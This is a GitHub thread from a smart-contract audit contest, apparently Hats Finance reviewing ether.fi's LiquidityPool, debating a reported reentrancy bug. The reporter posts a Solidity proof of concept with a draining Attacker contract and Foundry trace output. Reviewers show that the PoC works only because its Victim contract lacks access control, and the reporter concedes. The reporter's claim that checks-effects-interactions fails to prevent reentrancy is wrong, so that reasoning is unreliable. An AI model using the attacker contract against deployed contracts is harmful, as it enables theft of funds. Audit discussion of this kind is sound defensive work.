_recipient can reenter the withdraw function

[hats-bug-reporter[bot]]

Github username: -- Submission hash (on-chain): 0x26361656404c6c1b17e5a2cee60e3e4f891ec6caa7061603989d60fbd69dbffa Severity: high

Description: Description\ There is no check if the _recipient address is a contract or an EOA. If it’s a contract, _recipient can call back into the withdraw function and drain the LiquidityPool contract.

Attack Scenario\ _recipient can drain LiquidityPool contract

Attachments https://github.com/GadzeFinance/dappContracts/blob/68bf2597086d9aa39968c504f04cf34aa0f864c0/src/LiquidityPool.sol#L163-L181

Recommendation\ Use ReentrancyGuard to protect against reentrancy

[ololade97]

Here's the correct code attachment:

https://github.com/hats-finance/ether-fi-0x36c3b77853dec9c4a237a692623293223d4b9bc4/blob/180c708dc7cb3214d68ea9726f1999f67c3551c9/src/LiquidityPool.sol#L175-L193

[solipsis]

Can you provide a proof of concept of this attack. Re-entrancy point is after all state has been updated which prevents the attack as described

[ololade97]

Following the checks-effects-interactions pattern alone is not sufficient to prevent reentrancy attacks.

Here is what could happen:

• Withdraw is called by the original caller
• Checks pass
• Effects on state take place (updating balances, burning shares, etc)
• _recipient.call is made
• Even if the _recipient.call completes fully, the recipient contract can still call back into withdraw before the original call finishes
• The reentrant withdraw call would pass all the checks again since state was already updated
• More tokens could be withdrawn by the attacker

Without any other reentrancy mitigations, the CEI pattern by itself does not prevent reentrancy in all cases. The external call can complete fully, but an attacker can still call back into the function again if it is not protected.

The key is that CEI only prevents reentrancy for the duration of the external call, not after it completes. Additional measures are needed to prevent reentrant calls completely.

@solipsis and @bunbuntigery please reconsider your stance on this report for safety purposes.

[ololade97]

Below is a PoC of what I'm talking about. Despite the withdraw function following CEI pattern, an attacker is able to call back and drain the contract's fund:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";

// Victim contract with withdraw function using CEI
contract VictimTest is Test {
    Victim victim;
    Attacker attacker;

    // forge test --mc VictimTest -vvvvv
    function setUp() public {
        victim = new Victim{value: 200 ether / 1e18}();

        attacker = new Attacker(address(victim));

        console2.log("Attacker balance:", address(attacker).balance);
        console2.log("Victim balance:", address(victim).balance);
    }

    function testWithdraw() public {
        vm.prank(address(victim));
        victim.withdraw(address(attacker), 20 ether / 1e18);
        console2.log("Victim balance:", address(victim).balance / 1e18);
        console2.log("Attacker balance:", address(attacker).balance);
    }
}

// Victim contract with withdraw function using CEI
contract Victim {
    event Received(address _sender,uint _amount);
    receive() external payable {
        emit Received(msg.sender,msg.value);
    }

    mapping(address => uint256) public balances;

    constructor() payable {
    }

    function withdraw(address recipient, uint256 amount) external {
        uint256 balance = address(this).balance;
        require(balance >= amount);

        balance -= amount;

        (bool sent,) = recipient.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

// Malicious contract to call back into victim
contract Attacker {
    Victim victim;
    event FundsStolen();

    constructor(address _victim) payable {
        victim = Victim(payable(_victim));
    }

    receive() external payable {
        uint val=address(victim).balance;
        if (val==0)  emit FundsStolen();
        else victim.withdraw(address(this),val);
    }
}

Here's the result:

forge test --mc VictimTest -vvvvv [⠔] Compiling... No files changed, compilation skipped

Running 1 test for test/Testing.t.sol:VictimTest [PASS] testWithdraw() (gas: 35833) Logs: Attacker balance: 0 Victim balance: 200 Victim balance: 0 Attacker balance: 200

Traces: [300534] VictimTest::setUp() ├─ [119541] → new Victim@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f │ └─ ← 597 bytes of code ├─ [67824] → new Attacker@0x2e234DAe75C793f67A35089C9d99245E1C58470b │ └─ ← 227 bytes of code ├─ [0] console::log(Attacker balance:, 0) [staticcall] │ └─ ← () ├─ [0] console::log(Victim balance:, 200) [staticcall] │ └─ ← () └─ ← ()

[35833] VictimTest::testWithdraw() ├─ [0] VM::prank(Victim: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) │ └─ ← () ├─ [21072] Victim::withdraw(Attacker: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 20) │ ├─ [11196] Attacker::receive() │ │ ├─ [8426] Victim::withdraw(Attacker: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 180) │ │ │ ├─ [1050] Attacker::receive() │ │ │ │ ├─ emit FundsStolen() │ │ │ │ └─ ← () │ │ │ └─ ← () │ │ └─ ← () │ └─ ← () ├─ [0] console::log(Victim balance:, 0) [staticcall] │ └─ ← () ├─ [0] console::log(Attacker balance:, 200) [staticcall] │ └─ ← () └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 863.51µs

[ololade97]

Also note that _recipient in the LiquidityPool::withdraw function only receives the amount sent. The _recipient is not the msg.sender. Re-entering the withdraw function won't be an issue for the _recipient since there's no ReentrancyGuard. It's more dangerous since an authorized sender is sending certain amount.

Once the authorized msg.sender sends a particular amount to the _recipient, it automatically opens the door for a malicious _recipient to reenter the withdraw function without any hinderance.

[spearfish5609]

@ololade97 your example victim contract is so flawed that reentrancy is not the issue. Anyone can just call withdraw for any amount, which is why the "reentrancy" works

[seongyun-ko]

@ololade97 The possible call to LiquidityPool::withdraw function with recipient = attacker's contract can be made only via WithdrawRequset::claimWithdraw. Tell me how the re-entrancy attack can happen here.

One that you are missing is the check for msg.sender in the LiquidityPool::withdraw function. It is the similar point with what @spearfish5609 has pointed out above.

     require(msg.sender == address(withdrawRequestNFT) || msg.sender == address(membershipManager), "Incorrect Caller"); 

[ololade97]

@seongyun-ko and @spearfish5609, I agree with you. If ReentrancyGuard is added, it will solidify the contract's protection because of ".call".